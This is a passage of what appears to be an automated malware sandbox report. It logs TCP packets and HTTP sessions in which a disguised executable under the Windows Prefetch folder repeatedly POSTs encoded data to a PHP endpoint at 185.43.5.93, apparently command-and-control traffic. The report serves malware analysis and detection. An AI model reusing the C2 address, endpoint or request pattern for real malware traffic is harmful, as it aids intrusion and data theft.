Dec 10, 2024 07:33:33.555955887 CET	80	49929	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:33.556168079 CET	80	49924	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:33.556252003 CET	49924	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:33.556277037 CET	49929	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:33.556442022 CET	49929	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:33.675633907 CET	80	49929	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:33.907604933 CET	49929	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.028611898 CET	80	49929	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:34.470880985 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.471113920 CET	49929	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.590259075 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:34.590346098 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.590481997 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.590799093 CET	80	49929	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:34.590990067 CET	49929	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.658123970 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.858604908 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:34.938826084 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.964255095 CET	80	49932	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:34.964677095 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:34.964966059 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:35.058396101 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:35.058413029 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:35.084580898 CET	80	49932	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:35.313838959 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:35.433301926 CET	80	49932	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:35.930350065 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:35.985589027 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.163763046 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:36.204319954 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.321985006 CET	80	49932	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:36.376198053 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.555479050 CET	80	49932	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:36.610559940 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.688905954 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.688983917 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.689321041 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.808614016 CET	80	49931	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:36.808659077 CET	80	49937	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:36.808795929 CET	49931	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.808864117 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.809101105 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.809101105 CET	80	49932	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:36.809185982 CET	49932	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:36.928400040 CET	80	49937	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:37.157524109 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:37.276906013 CET	80	49937	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.028677940 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.028799057 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.135507107 CET	80	49937	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.138276100 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.148130894 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.148287058 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.148420095 CET	80	49937	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.148473978 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.148504972 CET	49937	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.174485922 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.267867088 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.293912888 CET	80	49942	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.296291113 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.296608925 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.415800095 CET	80	49942	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.501379013 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.620918036 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.620934010 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.620944977 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.620966911 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.621037960 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.621059895 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.621073961 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.621123075 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.621236086 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.621246099 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.621301889 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.642000914 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:38.740451097 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.740539074 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.740550995 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:38.761439085 CET	80	49942	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:39.487857103 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:39.532527924 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:39.626898050 CET	80	49942	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:39.673094988 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:39.723537922 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:39.766833067 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:39.859477043 CET	80	49942	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:39.907510996 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:39.982323885 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:39.982625008 CET	49947	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:39.982626915 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:40.103126049 CET	80	49947	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:40.103140116 CET	80	49941	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:40.103293896 CET	49947	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:40.103296041 CET	49941	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:40.103375912 CET	80	49942	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:40.103439093 CET	49942	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:40.103610039 CET	49947	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:40.223330975 CET	80	49947	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:40.454638004 CET	49947	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:40.573937893 CET	80	49947	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.173858881 CET	49947	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.173949003 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.293235064 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.293365955 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.293481112 CET	80	49947	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.293484926 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.293565035 CET	49947	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.295742035 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.412715912 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.415035009 CET	80	49950	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.415153027 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.415687084 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.535024881 CET	80	49950	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.641968966 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.761354923 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.762109995 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:41.766963959 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:41.886468887 CET	80	49950	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:42.633164883 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:42.688735962 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:42.744828939 CET	80	49950	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:42.798109055 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:42.867526054 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:42.923120022 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:42.979509115 CET	80	49950	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:43.032447100 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.107924938 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.107927084 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.108280897 CET	49955	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.227546930 CET	80	49955	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:43.227627993 CET	49955	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.227639914 CET	80	49949	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:43.227688074 CET	49949	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.227819920 CET	49955	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.228185892 CET	80	49950	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:43.228226900 CET	49950	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.347191095 CET	80	49955	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:43.579487085 CET	49955	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:43.698915005 CET	80	49955	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:44.566890001 CET	80	49955	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:44.610601902 CET	49955	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:44.799963951 CET	80	49955	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:44.845011950 CET	49955	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:44.923038006 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:45.046745062 CET	80	49959	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:45.046883106 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:45.047045946 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:45.167114019 CET	80	49959	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:45.391974926 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:45.511327982 CET	80	49959	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:46.394697905 CET	80	49959	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:46.438726902 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:46.642616987 CET	80	49959	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:46.688666105 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:46.769882917 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:46.770232916 CET	49964	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:46.890387058 CET	80	49964	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:46.890512943 CET	49964	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:46.890518904 CET	80	49959	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:46.890573978 CET	49959	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:46.890717983 CET	49964	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.009913921 CET	80	49964	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:47.235654116 CET	49964	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.355076075 CET	80	49964	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:47.877444029 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.877722025 CET	49964	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.997693062 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:47.997821093 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.997967958 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.998050928 CET	80	49964	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:47.998123884 CET	49964	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:47.998347044 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:48.117209911 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:48.117650032 CET	80	49969	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:48.117747068 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:48.117922068 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:48.237149954 CET	80	49969	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:48.345115900 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:48.464509964 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:48.464524984 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:48.470046043 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:48.589427948 CET	80	49969	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.337601900 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.391813993 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.456485033 CET	80	49969	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.501773119 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.571682930 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.629014969 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.691329956 CET	80	49969	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.735551119 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.811939001 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.812011957 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.812743902 CET	49972	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.931655884 CET	80	49967	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.931804895 CET	49967	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.931920052 CET	80	49972	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.931996107 CET	49972	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.932112932 CET	80	49969	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:49.932164907 CET	49969	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:49.932235956 CET	49972	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:50.051654100 CET	80	49972	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:50.282543898 CET	49972	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:50.401922941 CET	80	49972	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:51.259231091 CET	80	49972	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:51.313663006 CET	49972	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:51.491430998 CET	80	49972	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:51.532399893 CET	49972	80	192.168.2.5	185.43.5.93

HTTP Request Dependency Graph

185.43.5.93

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49867	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:12.846340895 CET	302	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:13.205267906 CET	344	OUT	Data Raw: 05 06 01 00 06 0d 01 02 05 06 02 01 02 07 01 03 00 01 05 0a 02 04 03 0e 07 04 0d 0c 03 0e 01 06 0d 01 04 5d 02 50 05 52 0b 0b 07 06 07 01 04 04 03 03 0f 00 0d 03 07 06 06 54 06 04 07 0a 05 58 05 07 0f 0d 00 04 07 51 0f 01 0f 02 0f 50 0f 04 07 53 Data Ascii: ]PRTXQPSRR\L~hY~Mc\maKsTRWwR^~`lIxo{Jxc~DhmZAwwliO~V@Ax}~O}ri
Dec 10, 2024 07:33:14.185507059 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:14.290899992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 35 37 34 0d 0a 56 4a 7d 5d 78 6d 67 07 78 4c 60 48 6b 72 7b 01 6a 01 73 4f 7e 70 72 54 7a 5d 68 4f 7e 72 60 49 60 60 75 0c 7b 62 62 5f 76 76 6b 5f 6a 4b 78 01 55 4b 72 50 60 4c 73 07 68 72 6a 58 7c 67 5b 52 78 48 73 52 7d 4d 5e 58 76 62 7d 04 60 4f 69 04 7f 61 7a 49 6a 52 73 50 7d 59 77 03 76 66 7b 06 7c 5b 6d 05 7e 73 6d 00 78 67 6f 5c 78 74 74 4f 78 53 55 49 79 5c 7b 5a 6f 63 6e 4c 6b 60 6c 44 6c 67 77 59 6a 61 7b 4e 75 58 60 48 7a 51 41 5b 7c 59 77 51 7c 62 7d 0a 75 52 74 07 6f 52 6b 58 74 60 61 52 79 62 65 02 7c 6c 75 5a 78 4f 66 48 76 4d 6f 49 76 72 64 06 60 61 66 50 7e 5d 79 5f 60 5b 7d 04 76 65 5e 09 7f 6c 66 5c 77 6f 7c 04 7e 70 7c 01 6f 6c 64 5a 7b 4e 66 01 6b 6d 68 08 74 64 7c 04 69 61 7e 09 7e 54 73 0c 6c 6e 62 41 7d 71 76 5a 7b 5d 46 51 7f 52 6c 08 6a 60 63 51 7d 77 79 5d 7b 0b 6b 4a 6c 62 56 00 68 5f 7b 44 6a 59 7b 08 7c 06 61 0a 79 73 7f 58 7d 62 6f 5b 74 63 79 51 7b 5c 79 06 75 48 56 03 7c 66 78 4d 7e 58 6d 0d 74 62 63 07 7d 62 5b 4c 7f 59 72 08 78 76 68 08 7e 4d 77 49 75 72 69 03 77 [TRUNCATED] Data Ascii: 574VJ}]xmgxL`Hkr{jsO~prTz]hO~r`I``u{bb_vvk_jKxUKrP`LshrjX\|g[RxHsR}M^Xvb}`OiazIjRsP}Ywvf{\|[m~smxgo\xttOxSUIy\{ZocnLk`lDlgwYja{NuX`HzQA[\|YwQ\|b}uRtoRkXt`aRybe\|luZxOfHvMoIvrd`afP~]y_`[}ve^lf\wo\|~p\|oldZ{Nfkmhtd\|ia~~TslnbA}qvZ{]FQRlj`cQ}wy]{kJlbVh_{DjY{\|aysX}bo[tcyQ{\yuHV\|fxM~Xmtbc}b[LYrxvh~MwIuriwaaJ~qj~ld~wIu_YI{r_}^}xIR{I`xScy\lzsPA``{w`K}rQOwqlJ~\|UwZBaSvl`A{lxt^vzau}lzxaXvM{uaxNwOn@Nfvr[Lve^latRp~shJyl{{N~\|mttYl~LfB~msxCrL}rSM}`dOBhph~Yb{CUDxrhFqw~wwA\|N[{sZ}rpwsuA{a[DufVE}XhM}fywLUKb[O\|gbC{H^O~s{Hu\SOwaa~qr\|x~gwDua{{\i~pmDygxM{YhL{SwyLpxMr{]NZlYRIib{bb`}RswthqSvBlxltK`^bz_zZ~Rv_z\y\}b`g{ZL~Jx^}_vqbXaetUaMcU\|O\|]loB{xcvC^twQ]jqbzSYQcT[]jafS\|sBhowSYgQRdSGWtXc~{GUrdYWvNHSZfP`ET[cHZvK}\GZaxjfg[vjTwacJ}rSMhYTClf{P}Zwwqmc_j]kavXVFPjdE[rJoTEkr_UkoXUh\yP{{\dy]rOMJ{YRZu\|YbbGQp`\Sd^kX]kp\|S]]MucV~BzQD_oeG[pNbYCa}Uk_A[_qqZTUAro[sGx^NZl`DVsKhULasZj[NQRxNo~b [TRUNCATED]
Dec 10, 2024 07:33:14.291258097 CET	358	IN	Data Raw: 5e 5f 51 60 5a 6f 06 79 70 59 47 5a 5a 43 51 78 76 7a 5d 62 65 08 45 51 7a 67 59 51 65 0d 5e 60 04 0b 02 50 58 62 4c 57 66 7d 4f 6c 75 6c 51 7c 5e 78 66 6d 4f 71 45 70 58 5c 5c 53 06 71 42 54 6f 51 49 52 5f 0b 59 5a 06 64 45 51 7e 72 05 67 59 7e Data Ascii: ^_Q`ZoypYGZZCQxvz]beEQzgYQe^`PXbLWf}OlulQ\|^xfmOqEpX\\SqBToQIR_YZdEQ~rgY~Gl`p_o@Wa`]muweQpqhltZzp]ia@Z}c^RoTkMVrXLbodZcg~}^rzQD_oeG[pNbYCayOSZaG[[n@\tPSoe\vQszSsW{tpWceJSnwQpZN_jaNP~No[ChH_Vs]VokUy^^Q}wvA{CgD
Dec 10, 2024 07:33:14.324624062 CET	278	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 384 Expect: 100-continue
Dec 10, 2024 07:33:14.673285007 CET	384	OUT	Data Raw: 5a 52 5c 5c 5d 5d 53 5b 58 5f 51 55 5a 57 58 5d 56 52 58 5e 56 5d 50 5a 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZR\\]]S[X_QUZWX]VRX^V]PZPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["\-"0!Q #)];"3(+?!U#,3?%Q>;3$[&(!^" \)
Dec 10, 2024 07:33:14.765646935 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:15.131705046 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 25 00 21 2f 3f 03 26 05 05 54 27 3a 08 54 3c 09 31 04 3c 02 04 5b 28 20 27 05 28 3b 39 5a 22 0a 37 04 24 2d 04 56 33 11 04 52 31 24 2e 5e 0c 10 3b 06 21 01 3b 03 28 58 33 59 29 2c 3a 1e 2a 02 38 03 27 3c 2f 11 24 3a 24 01 26 3b 3a 0d 30 2c 2a 03 3d 2a 2e 5d 28 31 30 1f 31 38 2e 56 0b 12 23 1c 29 3a 3c 58 24 04 3b 1f 3d 2d 3a 1f 37 04 3a 5a 37 12 3c 05 36 06 2e 5a 2a 54 28 5e 24 0f 20 0c 27 07 2f 03 23 05 36 0f 25 32 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%!/?&T':T<1<[( '(;9Z"7$-V3R1$.^;!;(X3Y),:8'</$:$&;:0,=.](1018.V#):<X$;=-:7:Z7<6.ZT(^$ '/#6%2$P,(U>WT0
Dec 10, 2024 07:33:15.206686020 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1764 Expect: 100-continue
Dec 10, 2024 07:33:15.563961983 CET	1764	OUT	Data Raw: 5a 53 59 5a 5d 53 53 5a 58 5f 51 55 5a 5a 58 50 56 57 58 58 56 5a 50 5d 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZSYZ]SSZX_QUZZXPVWXXVZP]PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["8!>0U 0!Z;)>^'=7Z(/-#+P)2=+B$-Z0!^" \)1
Dec 10, 2024 07:33:15.647706985 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:16.023825884 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 25 04 34 3f 20 1e 25 5d 34 0d 33 04 31 0d 3f 09 0c 16 2b 05 2d 05 2b 23 09 04 3f 38 3d 5c 22 24 28 15 27 3d 00 54 30 2f 3a 57 26 1e 2e 5e 0c 10 38 16 21 3b 3b 02 2b 10 3f 12 29 59 3e 5b 28 3c 02 02 27 2f 3f 59 26 29 2b 58 33 38 36 0d 24 5a 3d 5d 29 39 2e 58 28 22 38 1d 32 38 2e 56 0b 12 20 0a 2a 07 38 13 27 2e 33 57 3d 2d 26 55 34 14 26 5b 21 3f 3f 58 35 06 0c 59 2a 1c 20 5e 27 22 27 1f 30 2a 20 5d 20 12 0f 57 26 18 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%4? %]431?+-+#?8=\"$('=T0/:W&.^8!;;+?)Y>[(<'/?Y&)+X386$Z=])9.X("828.V 8'.3W=-&U4&[!??X5Y ^'"'0* ] W&$P,(U>WT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49872	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
